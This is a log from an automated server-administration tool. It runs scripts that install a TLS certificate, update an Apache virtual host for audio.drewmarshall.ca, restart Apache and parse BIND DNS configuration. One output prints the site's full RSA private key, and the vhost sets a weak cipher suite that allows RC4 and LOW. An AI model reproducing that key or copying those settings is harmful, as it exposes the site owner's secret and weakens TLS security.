Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-30 06:00:25: 

chmod 755 /tmp/pkp968380; /tmp/pkp968380; rm /tmp/pkp968380

2025-09-30 06:00:25: 


dir=/etc/ssl/certs


2025-09-30 06:00:25: 

PUT: /tmp/pkp727498

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-30 06:00:25: 

chmod 755 /tmp/pkp727498; /tmp/pkp727498; rm /tmp/pkp727498

2025-09-30 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-30 06:00:25: 

PUT: /tmp/pkp764532

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi


2025-09-30 06:00:25: 

chmod 755 /tmp/pkp764532; /tmp/pkp764532; rm /tmp/pkp764532

2025-09-30 06:00:25: 




2025-09-30 06:00:25: 

PUT: /tmp/pkp965723

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-30 06:00:25: 

chmod 755 /tmp/pkp965723; /tmp/pkp965723; rm /tmp/pkp965723

2025-09-30 06:00:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-30 06:00:25: Establishing a connection
2025-09-30 06:00:25: 

PUT: /tmp/pkp901111

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-30 06:00:25: 

chmod 755 /tmp/pkp901111; /tmp/pkp901111; rm /tmp/pkp901111

2025-09-30 06:00:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-30 06:00:25: 

PUT: /tmp/pkp942037

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-30 06:00:25: 

chmod 755 /tmp/pkp942037; /tmp/pkp942037; rm /tmp/pkp942037

2025-09-30 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf	1238

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-30 06:00:25: 

PUT: /tmp/pkp938286

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-30 06:00:25: 

chmod 755 /tmp/pkp938286; /tmp/pkp938286; rm /tmp/pkp938286

2025-09-30 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt	5372
4c:4c:3e:1d:c2:0f:7d:02:d4:9c:f0:e2:51:13:f6:34

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBsGeoszxCi+BF4FCGrJmih78MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTU0WhcNMjUxMjI5MDUwMTUzWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC2VdaoXctxomw7V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryL
ccMltqVLBaRwJv9bj8iGg9sQNOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR
5/UfmDrR/w9c4gUfmtRAiyaVKMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M
/46mzZ1GwTo9WpxfzIM63YkicQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+
C4zRqrR9UAZNXKg7sJqJptzqOrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmo
UHY4cWmjfJ5BkS8EOePbaa3Kiko0XgTlAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFARIzj/LVDmyWY3C0CM532HyC1H7MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmZk1
MSgAAAQDAEcwRQIgNEymkX3vpmK7898jY4PQZ+XkTdz95IntA4XvM086znICIQDC
p0whyE0c8m5/RpJpY2oX4P8RG9wO1A4HaEqz9Y1ZTQB2AMz7D2qFcQll/pWbU87p
snwi6YVcDZeNtql+VMD+TA2wAAABmZk1MXgAAAQDAEcwRQIgUvu6A/kqABvfIxAO
h3XUIAEN/sqT0XTgMS7dtsMhXOsCIQDXgULDBiP2up7OBefDyNZD4eP53Wpz7Btn
Opod//MNQjANBgkqhkiG9w0BAQsFAAOCAQEApAb3RHbOMDAvNaRmK9F5rlElnYfU
KGogf/9gEZaWTqeuXRFszL1YeL8Jf3EO1YKo06qF0EPFRZYia13wSS3lAzgJe2hW
vmhhAvKQqd6fzSqhQcaBQONyZ3hVnN1a1dBPPaX3JaKzxo0OVnWKWZ20bgaggoid
TWfdRD+bXBzZTGLSkQLJYHl2scrb31+EgCZSKBSfy9GodF9BAq5m8FFrHlH57oxv
DRxUf8eh4Dsi7RPHByiiuQStzomE3IKUbt5qYUh0wXti9SyVSE6rKZ+4IcF+ouYf
UNT22/0UtefERb3VTIMYmUu6ZgDfU1wn1sQ+zJDBkRm6eLeU1+kk8XCJfw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC2VdaoXctxomw7
V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryLccMltqVLBaRwJv9bj8iGg9sQ
NOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR5/UfmDrR/w9c4gUfmtRAiyaV
KMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M/46mzZ1GwTo9WpxfzIM63Yki
cQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+C4zRqrR9UAZNXKg7sJqJptzq
OrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmoUHY4cWmjfJ5BkS8EOePbaa3K
iko0XgTlAgMBAAECggEBAI0HQ6qiMXNJD7GufwQ3hxaWmInmTWW7RHpC7h5hZ63+
8XXSZK0itW6dpTUMWjj2ukNMxoIJai4w2kVkx3tO8kDMr2vK6+vtmXZbW1XBvNas
jl0ZIu+sZIlFAiFX21cFktpir1fMp5LsjgEcsX6xqRs7E1Zt38CeIrleyAIqz0W4
WBQdKSLyDua39pLSEo/2cE/Rf158F5NM7TOjwMHI8JrNYAlrsTnEAVZDvQ4cY26H
VtWu81aUqIMGiGDksf6kLFE/u4ohrtWtG3k8sWoVaLODzcyxgAuRRT8VnCLznDny
w4DyYOKCmxKjQwGtkLDwJHM9TQJLA3ZKbBSVA/OJhdkCgYEA8XpVO3pLe1r7hkvL
GN83HnMbzghOO76G1kToZIjhypqFZuWzcoC5AlbB6KN7vSiQo6w8reLY08NnfZ2X
k6PTBinQK0kSgsX2TvnSlODysRTHQRD0jBZAR/RXTjidYc/lbODVDB5dXTu4dIIh
5lUNz0PbLX0/DkZY1lrDVbXB38MCgYEAwUz6R9TZiuc/yptEQ+REUnFxFLPlehUt
t808m0dpHKPu/I1NQ06JUpzR3w9ipfZ2q+5xCvOF5XhvqRGle1BhuVtQYq09iUSq
J6stIy+TBdb5ve1KJuQZEVkGnyjZa/ubetz83uuCnGfqXm5XQhq5PjjchLIjvjaG
T04805WAJjcCgYEAzYnKGIk8zG+h3iqPYclFWkayKQnKxXGjxaf7gu87+T7TQ8VK
m7DTSRldjc3xmg14J8iIEZ4f3wfZBAPqrAFqsjlO9jkJZ4Rm5cwhIRXjnTTJcSmk
bcTWzCg/U9Y+p63UY3tv/BOwdpZJp+nIPwywZ3YjjjGoRVc9cJ7q2v6NWg8CgYEA
kYQZham+esrLQwLPySw2IroznpouzlDTMeLXFS4U+vKOHqFg4KJmzkIv2/QBF18K
xzOg9dWNnsmjhWs7YDGK37bWNPKluIhwb5x1Rl+yFltXdpsDj3N3S4/xZC+kPZ4T
1dI2qrowgP3ZeW0nUyQ6/5ReraZNMgxp35nOQJny9tECgYEAnmv4xlqClhc2QWcI
xyQuAMLhWm0PfPp1KVx8yldVH0BFp9Bq9OXJRyQ/bUrOeLEIQxAoB8FNT/QbdGnO
/4/sKjYv6TjDofzvcyjgUdooLxSSJ09pNe3wYV2lJ8fgta2blDsZm3TGhQYz5ufH
c8VBiDHxeRxxrQZqWVHbkYpeNtw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-03 14:59:56: Establishing a connection
2025-10-03 14:59:56: 

PUT: /tmp/pkp195098

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-03 14:59:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp195098; rm /tmp/pkp195098'

2025-10-03 14:59:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
